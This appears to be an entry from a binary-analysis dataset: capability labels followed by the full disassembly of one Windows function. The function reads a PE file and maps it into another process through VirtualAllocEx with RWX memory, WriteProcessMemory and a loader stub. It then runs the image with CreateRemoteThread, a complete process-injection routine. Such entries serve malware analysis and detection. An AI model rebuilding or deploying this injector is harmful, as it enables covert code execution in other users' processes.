Function at 0x180001160
Capabilities:
Allocate or change rwx memory
Create thread
Get file size
Inject thread
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x70], rax
xor r12d, r12d
mov esi, edx
mov qword [rsp + 0x30], r12
xor r9d, r9d
mov dword [rsp + 0x28], r12d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r12 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rcx, rax
xor edx, edx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, eax
xor ecx, ecx
lea r9d, [r12 + 4]
mov ebx, eax
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov rdx, rax
mov r8d, ebx
mov rcx, rdi
mov r15, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
movsxd rbp, dword [r15 + 0x3c]
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
add rbp, r15
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r8d, dword [rbp + 0x50]
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rbp + 0x54]
mov r8, r15
mov rdx, rax
mov qword [rsp + 0x20], r12
mov rcx, rsi
mov r14, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edi, r12d
cmp r12w, word [rbp + 6]
jae 0x18000128c
lea rbx, [rbp + 0x11c]
nop dword [rax]
nop dword [rax + rax]
mov r8d, dword [rbx]
mov rcx, rsi
mov edx, dword [rbx - 8]
add r8, r15
mov r9d, dword [rbx - 4]
add rdx, r14
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbp + 6]
lea rbx, [rbx + 0x28]
inc edi
cmp edi, eax
jl 0x180001260
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x40], r14
lea r8, [rsp + 0x40]
movsxd rcx, dword [r15 + 0x3c]
mov r9d, 0x30
add rcx, r14
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x48], rcx
mov rdx, rax
mov ecx, dword [rbp + 0xb0]
mov rdi, rax
add rcx, r14
mov qword [rsp + 0x50], rcx
mov ecx, dword [rbp + 0x90]
add rcx, r14
mov qword [rsp + 0x58], rcx
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x60], rcx
mov rcx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x68], rcx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea r8, [0x180001010]
mov qword [rsp + 0x20], r12
lea r9, [fcn.180001150]
mov rcx, rsi
sub r9, r8
lea rdx, [rdi + 0x30]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r12
lea r9, [rdi + 0x30]
mov dword [rsp + 0x28], r12d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.1800013b0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x40]
mov rbp, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret